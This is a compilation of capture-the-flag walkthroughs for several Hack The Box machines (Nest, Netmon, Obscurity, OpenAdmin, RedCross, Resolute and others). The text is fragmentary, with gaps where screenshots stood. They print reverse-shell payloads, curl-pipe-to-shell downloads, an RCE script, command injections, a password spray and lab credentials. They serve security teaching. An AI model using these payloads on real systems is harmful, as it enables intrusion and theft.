xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToStr
ing>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
The file contains the Azure AD password 4n0therD4y@n0th3r$ . Let's check if mhope also uses
this password in the local AD. We can use WinRM to test the credentials, as we know this account
is in the Remote Management Users group.
This is successful, although the command whoami /priv reveals that the current user is not
privileged. However, whoami /groups reveals that this account is a member of the group
MEGABANK\Azure Admins .
Let's find out the version of the AD Connect. According to the Microsoft documentation, the
name of the service responsible for syncing the local AD to Azure AD is ADSync . We don't see a
reference to this on running Get-Process , and attempting to run tasklist results in an Access
Denied error.
We can also try to enumerate services with the PowerShell cmdlet Get-Service , or by invoking
wmic.exe service get name , sc.exe query state= all or net.exe start , but are also
denied access. Instead, we can enumerate the service instance using the Registry.
We can issue the command below to obtain the file (and product) version.
Searching online reveals the adconnectdump tool, that can be used to extract the password for
the AD Connect Sync Account. The repo mentions that the way that AD connect stores credentials
changed a while back. The new version stores credentials using DPAPI and the old version used
the Registry. The current version of AD Connect at the time of writing is 1.5.30.0 , so the version
on the server is unlikely to use DPAPI. This tool works for newer versions of the AD Connect that
use DPAPI.
Some further searching reveals this blog post, which is recommended reading. It details the
exploitation process for the older version of AD Connect. Copy the script from the blog post and
save it locally.
Attempting to run this as is was not successful. Let's try to extract the instance_id , keyset_id
and entropy values from the database manually. A default installation of AD Connect uses a SQL
Server Express instance as a LocalDB, connecting over a named pipe. However, enumeration of
C:\Program Files and netstat reveals that Microsoft SQL Server is installed and bound to
10.10.10.172 (but isn't accessible externally). So this seems to have been a custom install of AD
Connect.
Instead, we can use the native SQL Server utility sqlcmd.exe to extract the values from the
database.
Modify the script to set the $key_id , $instance_id and $entropy variables to the values we
extracted from the database, and remove the commands that try to obtain them automatically.
Add this after the first line of the script.
$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM
mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Next we will need to modify the existing $client variable to reference the custom SQL Server.
Let's encapsulate the script in a function that we can call. Save the final payload below as
adconnect.ps1 .
Function Get-ADConnectPassword{
$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"
The -s flag in Evil-WinRM allows us to specify a folder containing PowerShell scripts. We can
load a script in memory within the Evil-WinRM session by typing the script name and hitting
return.
evil-winrm -i 10.10.10.172 -u mhope -p "4n0therD4y@n0th3r$" -s .
adconnect.ps1
Get-ADConnectPassword
This was successful, and we have obtained credentials for the AD Connect Sync account. In this
case, as it was a custom install, it seems the primary domain administrator was used for this. It's
worth noting that a default installation uses the NT SERVICE\ADSync service account.
Difficulty: Easy
Classification: Official
Synopsis
Nest is an easy difficulty Windows machine featuring an SMB server that permits guest access.
The shares can be enumerated to gain credentials for a low privileged user. This user is found to
have access to configuration files containing sensitive information. Another user's password is
found through source code analysis, which is used to gain a foothold on the box. A custom
service is found to be running, which is enumerated to find and decrypt Administrator
credentials.
Skills Required
Enumeration
Source Code Review
Skills Learned
.NET Development
SMB Enumeration
Enumeration
Nmap
Nmap reports that SMB (port 445) is available, as well as an unknown Reporting Service
running on port 4386.
SMB
Let's check if the SMB server allows null sessions using SMBMap.
We were able to connect successfully and discover the three non-default shares Secure$ , Users
and Data . The guest user has read access to the Data and Users share. Let's attempt to
recursively list their contents.
The share is found to contain two text files that are both accessible to us. The files can be
downloaded using the --download flag.
## Maintenance Alerts.txt
Username: TempUser
Password: welcome2019
The Maintenance Alerts.txt file isn't of much help, but the second contains credentials for the
TempUser account. Let's run smbmap again with these credentials.
We don't have permission to list folders within Secure$ . Let's look at the Data folder next.
We have access to many more files and folders than before. The folders contain a lot of XML files,
which could contain sensitive information. Let's download all the XML files using smbmap. The -
A argument can be used to download all files matching a pattern.
A case-insensitive grep for the string password reveals that RU_Config.xml contains a password
attribute.
The password for the user c.smith seems to be encrypted and isn't of much use. Let's look at
the other config files. The NotePadPlusPlus config is found to contain the following entries.
The file Temp.txt is contained within nested subfolders of the Secure$ share. Let's try to
recursively list the IT\Carl subfolder.
We were able to list the contents successfully. The folder contains a Visual Basic project called
RUScanner . Let's mount the share locally and examine the files.
The file Utils.vb seems to be interesting, given the encrypted password we found earlier.
Imports System.Text
Imports System.Security.Cryptography
<SNIP>
<SNIP>
The class contain methods for encrypting and decrypting passwords. We can use the
decryptString() function to decrypt the password gained earlier. As the code uses .NET
classes, it can be rewritten in any .NET based language. The code can be easily ported to C# and
compiled using mono on Linux. Mono is an open source implementation of the .NET framework
and can be installed by following these instructions.
using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;
namespace Dec {
class Decryptor {
The code above contains the same Decrypt() method in C# format. The encrypted password is
passed to the Decrypt() method along with the other parameters found in Utils .
Foothold
The password for c.smith is revealed to be xRxRxPANCAK3SxRxRx . Let's connect to the users
share using these credentials.
The user's home folder contains the flag and another subfolder. An empty file named "Debug
Mode Password.txt" is found. On examination of the file attributes, it seems that the file has
Alternate Data Streams (ADS) associated with it.
Let's save this password for possible use later and continue enumeration.
Privilege Escalation
The folder contains an XML file as well as a binary, which are downloaded.
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>
It appears to be a configuration file for the service running on port 4386 that we came across
earlier. Let's connect to this service.
The DEBUG command gives us access to a few more commands, namely SERVICE , SESSION and
SHOWQUERY .
The SERVICE command shows that the service directory is C:\Program Files\HQK . Switching to
that directory using SETDIR and listing it, shows a few more files and folders.
Listing the LDAP folder reveals the binary we found earlier along with a file named Ldap.conf .
Running SHOWQUERY against the file returns the contents, which appears to contain an encrypted
password for the Administrator user. Let's decompile the HqkLdap.exe binary to and examine
the decryption logic.
Using a file identifier such as DiE reveals that this is a Visual Basic .NET compiled binary.
A decompiler such as dnSpy can be used to view and debug the assembly. Import the binary into
dnSpy and expand the MainModule . The Main() method is found to read configuration from a
file passed through the command line.
The format is similar what we saw in Ldap.conf . It reads the encrypted password and calls the
CR.DS() method on it. Clicking on DS should navigate us to its definition.
The DS() method takes in the encrypted password and then calls CR.RD() with a few
parameters.
The RD() method then decrypts the string and returns the plaintext. A quick comparison
between this method and one found in Utils.vb proves that they are the same. This means we
can re-use the code from earlier and just change the parameters.
using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;
namespace Dec {
class Decryptor {
Compiling and executing the binary reveals that the administrator password is
XtH4nkS4Pl4y1nGX . This can be used to psexec to the box and get SYSTEM.
Netmon
18th May 2019 / Document No D19.100.28
Prepared By: MinatoTW
Machine Author: mrb3n
Difficulty: Easy
Classification: Official
Page 1 / 11
SYNOPSIS
Netmon is an easy difficulty Windows box with simple enumeration and exploitation. PRTG is
running, and an FTP server with anonymous access allows reading of PRTG Network Monitor
configuration files. The version of PRTG is vulnerable to RCE which can be exploited to gain a
SYSTEM shell.
● Enumeration ● CVE-2018-9276
Page 2 / 11
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.152 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.152
FTP is open with anonymous access allowed. The whole C: drive looks mounted on it. PRTG
Network Monitor is running on the web server at port 80 among other common ports.
Page 3 / 11
FTP
Logging into FTP as anonymous we find the user flag in Public folder.
On checking the installed software we find PRTG Network Monitor, which we came across earlier.
A quick google search yields this information. According to it PRTG stores configuration files in
C:\ProgramData\Paessler.
Page 4 / 11
Going into the folder we find the configuration files. According to the documentation "PRTG
Configuration.dat" and "PRTG Configuration.old" are standard files. However there’s no mention
of "PRTG Configuration.dat.bak".
Page 5 / 11
Scrolling down a bit we find the password for user prtgadmin.
However the credentials refuse to work. Maybe the password was changed from the old
configuration. Let’s follow the pattern and try "PrTg@dmin2019" as the password.
Page 6 / 11
And we’re in as the Administrator.
Page 7 / 11
FOOTHOLD
A Google search about the vulnerabilities yields a CVE for versions < 18.1.39 (CVE-2018-9276).
According to this article, RCE can be achieved while triggering notifications. Let’s try exploiting it.
The software by default runs as SYSTEM.
Page 8 / 11
Leave the default fields as they are and scroll down to the "Execute Program" section. We can
add a user to Administrators group using this command:
abc.txt | net user htb abc123! /add ; net localgroup administrators htb
/add
Now on the extreme right of your notification name, click on the edit icon and then the bell icon
to trigger it.
Page 9 / 11
Once done, use psexec to login as the created admin user.
psexec.py htb:'abc123!'@10.10.10.152
ALTERNATE WAY
In case we don’t want to add a user, for better OPSEC we can get a reverse shell. However due
to HTML encoding many characters get encoded. We can bypass this using powershell base64
execution.
We need to create a base64 encoded command. However, it should be in the encoding which
WIndows uses i.e UTF-16LE.
echo -n "IEX(new-object
net.webclient).downloadstring('http://10.10.16.32/Invoke-PowerShellTcp.ps1'
)" | iconv -t UTF-16LE | base64 -w0
We use iconv to convert it to target encoding and will execute this reverse shell from Nishang.
Download the script and echo in the command to the last line.
Page 10 / 11
Now start a simple HTTP server and create a new notification. This time the parameter would be,
python3 -m http.server 80
Page 11 / 11
Obscurity
4th May 2020 / Document No D20.100.72
Difficulty: Medium
Classification: Official
Synopsis
Obscurity is medium difficulty Linux machine that features a custom web server. A code injection
vulnerability is exploited to gain an initial foothold as www-data . Weak folder permissions reveal a
custom cryptography algorithm, that has been used to encrypt the user's password. A known-
plaintext attack reveals the encryption key, which is used to decrypt the password. This password
is used to move laterally to the user robert , who is allowed to run a faux terminal as root. This
can be used to escalate privileges to root via winning a race condition or by overwriting sudo
arguments.
Skills Required
Basic Linux Enumeration
Skills Learned
Source Code Review
Known-Plaintext Attack
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.168 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.168
Nmap shows that SSH is available on its default port, as well as a web server called
BadHTTPServer on port 8080, serving a page titled Obscura . Inspection of this page in a browser
reveals a site for a security focused software company. Their suite of products include the
BadHTTPServer web server, an encryption algorithm and an SSH replacement.
A message on the website discloses the file name of the web server, and that it's in a secret
development directory.
The custom web server is definitely of interest. Let's use ffuf to fuzz for possible directories.
wget -L
github.com/ffuf/ffuf/releases/download/v1.0.2/ffuf_1.0.2_linux_amd64.tar.gz
mkdir ffuf
tar -xzf ffuf_1.0.2_linux_amd64.tar.gz -C ffuf
./ffuf -w /usr/share/dirb/wordlists/common.txt -u
http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200
After downloading and extracting, ffuf is run with the dirb common.txt wordlist. As we're
including the filename and expect to get a HTTP 200 response, we can filter for using the -mc
flag.
ffuf finds the directory develop . Let's download SuperSecureServer.py (also included in
Appendix A) and examine it locally.
wget http://10.10.10.168:8080/develop/SuperSecureServer.py
Foothold
The serveDoc function contains some comments. It seems the developer has unwittingly
introduced an injection vulnerability, as the user controlled URL is passed to exec .
Let's stand up the server locally and validate the vulnerability. First, let's create the file structure
expected by the web server.
mkdir -p DocRoot/errors
touch DocRoot/errors/404.html
echo test > DocRoot/index.html
Next, we need to edit the file to output the requested URL, and to configure a socket to listen on.
#append to SuperSecureServer.py
s = Server ("127.0.0.1", 8080)
s.listen ()
#start server
python3 SuperSecureServer.py
After starting the web server, we can experiment with different requests.
request: http://127.0.0.1:8080/
output: output = 'Document: /'
Also also seen in the code, the URL is contained with two single-quotes. As the os library is
already imported, so we can attempt to execute a system command.
request: http://127.0.0.1:8080/';os.system('id');
output:
However, if the single-quotes are unbalanced, this will result in an error. This is corrected and we
successfully validated the injection vulnerability, and achieved command execution.
request: http://127.0.0.1:8080/';os.system('id');'
output:
Let's attempt to replicate this on the actual system. As we don't have access to the console, we
can attempt to send ourselves two ICMP requests.
We have successfully achieved command execution of the server. We can attempt to exfiltrate
basic output from the server over HTTP, by examining the requested URL in our web server logs.
request:
http://10.10.10.168:8080/';os.system('curl%20http://10.10.14.3/$(hostname)');'
http://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect(("10.10.14.3",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Next, let's upgrade to a TTY shell.
There are many command-line scripts that we can use to do some heavy lifting of the initial
enumeration, such as linPEAS.
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-
scripts-suite/master/linPEAS/linpeas.sh
curl http://10.10.14.3/linpeas.sh|bash
After running this, we see that the system user robert has a world-readable home directory
containing some interesting files.
Lateral Movement
The file SuperSecureCrypt.py (also included in Appendix B) contains functions to encrypt and
decrypt files. The key is used repeatedly until it matches the length of the plaintext, after which it
adds the
values together and outputs the result.
check.txt seems to be a test input file (plaintext) for the program, with out.txt being the
produced ciphertext. The developer seems to have used this program to encrypt their password,
stored as passwordreminder.txt .
Although we don't know the key that was used to create the ciphertext, we should be able to
derive it through a known plaintext attack, as we have both the plaintext ( check.txt ) and
corresponding ciphertext ( out.txt ).
Base64 encode the files on the remote system, and then recreate the files locally.
#encode
base64 -w0 out.txt
base64 -w0 check.txt
We can subtract the plaintext from the ciphertext in order to reveal the key.
#python3 known_plaintext.py
position = 0
key = ""
for item in list(plain):
cipherchar = cipher[position]
plainchar = ord(item)
key += chr((ord(cipherchar) - plainchar))
position +=1
print(key)
with open('out.txt') as f:
cipher = f.read()
with open('check.txt') as f:
plain = f.read()
getkey(cipher, plain)
This is successful, and the key alexandrovich is revealed. With the key in hand, let's download
passwordreminder.txt and decrypt it.
Running the script below reveals the password SecThruObsFTW , which we can use to su to
robert and gain the user flag.
#python3 decrypt.py
with open('passwordreminder.txt') as f:
cipher = f.read()
getpass(cipher, "alexandrovich")
Privilege Escalation
Checking for sudo entries reveals that robert is able to run the file
/home/robert/BetterSSH/BetterSSH.py (also included as Appendix C) as root.
Method 1
As seen in the code, when authenticating a user the script temporarily stores /etc/shadow
entries to a random filename under /tmp/SSH . It sleeps for one second before deleting it.
<SNIP>
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
On running the file, it's found that /tmp/SSH doesn't exist, so we can create it.
First, start two separate SSH sessions as robert . Next, navigate to the SSH directory in one, and
start a loop to copy anything created in this directory to /tmp .
cd /tmp/SSH
while true; do sleep .1; cp -r . /tmp; done
After executing BetterSSH.py in the other SSH session and authenticating successfully as
robert , we find the random file has been copied to /tmp , containing the /etc/passwd hashes
as expected.
We can use john to crack the hash, which reveals the password mercedes .
Method 2
Inspection of the code reveals that for every command executed, sudo -u as appended to it.
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
After executing this script in the BetterSSH.py session, we get a reverse shell as root.
Appendix
Appendix A
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
{body}
"""
DOC_ROOT = "DocRoot"
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args =
(client,address)).start()
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
SuperSecureServer.py
Appendix B
import sys
import argparse
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
SuperSecureCrypt.py
Appendix C
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else
print('')
BetterSSH.py
Olympus
22nd September 2018 / Document No D18.100.18
Prepared By: Alexander Reid (Arrexel)
Machine Author: OscarAkaElvis
Difficulty: Medium
Classification: Official
Page 1 / 7
SYNOPSIS
Olympia is not overly difficult, however there are many steps involved in getting access to the
main system. There is a heavy focus on the use of Docker, with a variety of topics and techniques
along the way.
Page 2 / 7
Enumeration
Nmap
Nmap finds several open ports. As port 22 is filtered, and there is a secondary SSH service, there
is potentially a container system such as docker running on the target.
Page 3 / 7
Exploitation
Xdebug
Exploit: https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
Looking at the HTTP headers reveals Xdebug 2.5.5 is running on the target, which has a remote
code execution vulnerability. Using the above exploit, an initial shell is achieved.
The presence of the file /.dockerenv suggests that the shell is inside a Docker container. A bit of
searching around the filesystem reveals a captured.cap file in the airgeddon installation at
/home/zeus, which can be transferred by running nc -lp 1235 > captured.cap on the attacking
machine and nc -w 3 LAB_IP 1235 < captured.cap on the target.
Page 4 / 7
Aircrack-ng
Page 5 / 7
Zone Transfer & Port Knocking
Checking the file help_of_the_gods.txt on the new container finds a ctfolympus.htb domain.
Attempting a zone transfer with dig axfr @10.10.10.83 ctfolympus.htb outputs several integers
and what appears to be a username (prometheus) and password (St34l_th3_F1re!).
Port knocking 3456, 8234 and 62431 will open the SSH service on port 22 for 10 seconds,
allowing for access as the prometheus user.
Page 6 / 7
Privilege Escalation
Docker Privileges
Running docker images --all lists available images on the system. Using the olympia image, root
access is achieved.
Page 7 / 7
OpenAdmin
16th April 2020 / Document No D20.100.69
Difficulty: Easy
Classification: Official
Synopsis
OpenAdmin is an easy difficulty Linux machine that features an outdated OpenNetAdmin CMS
instance. The CMS is exploited to gain a foothold, and subsequent enumeration reveals database
credentials. These credentials are reused to move laterally to a low privileged user. This user is
found to have access to a restricted internal application. Examination of this application reveals
credentials that are used to move laterally to a second user. A sudo misconfiguration is then
exploited to gain a root shell.
Skills Required
Enumeration
Port Forwarding
Code Review
Skills Learned
Web Exploitation
Password Cracking
Nano Sudo Exploitation
Enumeration
Nmap
The Nmap scan reveals SSH and Apache to be running on their usual ports.
Apache
Browsing to port 80, the default Apache page is seen.
FFUF
Let's enumerate files and folders on the server using ffuf.
#!/usr/bin/python
import sys
import json
import requests
import argparse
from bs4 import BeautifulSoup
def results(file):
content=open(file,'r').readlines()
for line in content:
data=json.loads(line.strip())
urls=[]
for url in data['results']:
urls.append(url['url'])
return urls
def crawl(url):
r = requests.get(url)
soup = BeautifulSoup(r.text,'lxml')
links = soup.findAll('a',href=True)
for link in links:
link=link['href']
if link and link!='#':
print '[+] {} : {}'.format(url,link)
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("file",help="ffuf results")
args = parser.parse_args()
urls=results(args.file)
for url in urls:
crawl(url)
The script retrieves the files and folders from the provided list, and uses the BeautilfulSoup
library to look for and extract the href attribute in anchor tags, which are then printed out.
Dirbuster
Alternately, running dirbuster returns the ona page as well.
Foothold
Browsing to the /ona directory shows that this is an older version of the application.
The download hyperlink contains a reference to the OpenNetAdmin website. Searching exploit-
db for exploits related to OpenNetAdmin v18.1.1 reveals a Remote Code Execution vulnerability.
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d
"xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D
%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e
'/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
Sending the request below creates a new module named test , containing a PHP web shell.
Save the reverse shell payload below to index.html inside /var/www/html folder, and ensure
the Apache server is running locally.
The shell can be executed on the server by using the payload below, which pipes cURL output to
/bin/sh .
curl 10.10.14.2 | /bin/sh
Lateral Movement
We can spawn a PTY to get a fully functioning shell.
Checking entries in /etc/passwd shows that there are two system users.
We can further enumerate the box using scripts such as LinEnum.sh or linPEAS.sh. Download the
script and copy it the Apache web root. Next, use curl to transfer and execute the script.
curl 10.10.14.2/linpeas.sh|bash
This runs but doesn't provide any interesting information. Manually enumerating the web root
reveals a folder named internal , that can only be accessed by jimmy .
The OpenNetAdmin forum post shows that the database configuration details are stored in the
file ona/local/config/database_settings.inc.php .
Database credentials are found, and reusing this password for jimmy gives us SSH access.
We can see that this was hashed using the SHA512 algorithm, which can be cracked using John
the Ripper.
Alternately, the CrackStation website can also be used to crack the hash.
The application can be accessed remotely through SSH port forwarding.
The command above creates a remote SSH tunnel, which forwards all connections from port
1337 on our host to port 52946 on the box. Make sure that the SSH server is running and
permits root login. The application can now be accessed by browsing to
http://127.0.0.1:1337 .
Alternate Method
Inspecting the main.php source code reveals that it continues to read the SSH key, instead of
terminating the connection.
This means that we can access the page unauthenticated, and the server should return the key
before redirection.
A hash is generated using ssh2john.py .
Nano allows inserting external files into the current one using the shortcut Ctrl + R .
The command reveals that we can execute system commands using ^X . Press Ctrl + X and
enter the following command to spawn a shell.
Page 1 / 16
SYNOPSIS
RedCross is a medium difficulty box that features XSS, OS commanding, SQL injection, remote
exploitation of a vulnerable application, and privilege escalation via PAM/NSS.
Page 2 / 16
Enumeration
Nmap
Nmap output shows SSH and a web server. The IP redirects to https://intra.redcross.htb, and
whatweb shows this is Apache 2.4.25.
Page 3 / 16
intra.redcross.htb
Page 4 / 16
Dirbuster
Searching for common document extensions under "/documentation" reveals the file
"account-signup.pdf".
This shows the procedure for requesting credentials to access the intranet.
Page 5 / 16
Authenticated access
Temporary "guest" privileges have been given while the request is being processed.
Page 6 / 16
admin.redcross.htb
It is worth checking for subdomains, and common names such as "internal" and "admin" are also
added to "/etc/hosts". admin.redcross.htb is a valid subdomain, and hosts a login form.
Brute forcing isn’t successful, but after replacing the existing PHP Session ID with the one from
intra.redcross.htb using a cookie manager and refreshing the page, access is gained to the IT
Admin panel.
Page 7 / 16
SSH
"User Management" allows a user to be created on RedCross, and "Network Access" makes SSH
available externally to the specified IP address.
The credentials for the created user are provided, but the session lands in a very restrictive jail.
Page 8 / 16
XSS
Page 9 / 16
OS Command Injection
It is possible to inject commands into the "ip" parameter, and the output is returned.
Page 10 / 16
SQL Injection
Page 11 / 16
As expected, the guest account hash is cracked, but no success is had with the other accounts.
Page 12 / 16
Haraka Exploitation
After adding the IP address to the whitelist, nmap is run again. Other ports are now accessible.
Page 13 / 16
The exploit is copied locally and it is edited to use the correct port number.
After preparing the web server and standing up a listener, the following payload is used and a
shell as "penelope" is received.
cd /tmp; wget http://10.10.14.9:8443/nc; chmod 777 ./nc; ./nc 10.10.14.9 443 -e /bin/bash
Page 14 / 16
Privilege Escalation
unixusrmgr:dheu%7wjx8B&
Inspection of the tables "\dt" reveals "passwd_table". It seems that PAM/NSS is configured. Useful
reference:
https://serverfault.com/a/538503
It is possible to change the gid, and therefore elevate privileges. This can be done by adding the
user to the "disk" group:
Page 15 / 16
After logging back in over SSH, debugfs is used to read the root flag.
Or by adding the user to the "sudo" group, and getting a root shell:
Page 16 / 16
Resolute
28th May 2020 / Document No D20.100.74
Difficulty: Medium
Classification: Official
Synopsis
Resolute is an easy difficulty Windows machine that features Active Directory. The Active
Directory anonymous bind is used to obtain a password that the sysadmins set for new user
accounts, although it seems that the password for that account has since changed. A password
spray reveals that this password is still in use for another domain user account, which gives us
access to the system over WinRM. A PowerShell transcript log is discovered, which has captured
credentials passed on the command-line. This is used to move laterally to a user that is a
member of the DnsAdmins group. This group has the ability to specify that the DNS Server
service loads a plugin DLL. After restarting the DNS service, we achieve command execution on
the domain controller in the context of NT_AUTHORITY\SYSTEM .
Skills Required
Basic knowledge of Windows
Basic knowledge of Active Directory
Skills Learned
DnsAdmins Abuse
Enumeration
Nmap
nmap -A -v 10.10.10.169
Nmap output reveals that this is a domain controller for the domain megabank.local .
LDAP
Let's check if LDAP anonymous binds are allowed and attempt to retrieve a list of users. To do
this, we can use Windapsearch.
Windapsearch can also be used to dump all attributes from LDAP. This way we can check for
passwords stored in descriptions or other fields.
Before we begin with the password spray, it would be wise to take a look at the account lockout
policy of the domain controller, as a careless password spray along with a restrictive password
lockout policy may lock out accounts.
The lockoutThreshold: 0 indicates that there is no account lockout policy. Thus, we can go on
and use the following bash script to loop through the user list and verify their credentials using
rpcclient .
for u in $(cat users | awk -F@ '{print $1}' | awk -F: '{print $2}');
do
rpcclient -U "$u%Welcome123!" -c "getusername;quit" 10.10.10.169 | grep
Authority;
done
This finds that the user melanie has the password Welcome123! . As port 5985 is open, we can
attempt to connect to the server via WinRM using Evil-WinRM.
dir -force
C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.t
xt .
It seems that PowerShell Transcription logging is enabled on this system. This can be interesting
in cases that passwords are passed over the command-line. Examination of this file reveals that
the net use command syntax was incorrect. This generated an error that including the original
command, which was captured by the PowerShell transcript log. The original command passed
credentials for the user ryan in order to map a remote file share.
Issuing net user ryan reveals that they are in the Remote Management Users group. Using Evil-
WinRM again, we can login as ryan .
Transferring this to the box would likely trigger Windows Defender, so we can use Impacket's
smbserver.py to start an SMB server and host the dll remotely.
The dnscmd utility can be used to set the remote DLL path into the Windows Registry.
Next, we need to restart the DNS service in order to load our malicious DLL. DnsAdmins aren't
able to restart the DNS service by default, but in seems likely that they would be given
permissions to do this, and in this domain this is indeed the case.
The service restarted successfully, and we saw a connection attempt on our SMB server. We can
now attempt to login as administrator using psexec.py with our password.
Page 1 / 19
SYNOPSIS
Safe is an Easy difficulty Linux VM with a vulnerable service running on a port. The binary is found
to be vulnerable to buffer overflow, which needs to be exploited through Return Oriented
Programming (ROP) to get a shell. The user’s folder contain images and a keepass database
which can be cracked using John the ripper to gain the root password.
● Enumeration ● ROP
● Exploit Development ● Cracking keepass databases
Page 2 / 19
Enumeration
Nmap
ports=$(nmap -PN -p- --min-rate=1000 -T4 10.10.10.147 | grep ^[0-9] | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
nmap -PN -sC -sV -p$ports 10.10.10.147
We see SSH and Apache running on their default ports, as well as an unidentified service running
on port 1337.
Apache
Browsing to port 80 we come across the default HTTP page. Looking at the page source a
comment can be seen at the top.
Page 3 / 19
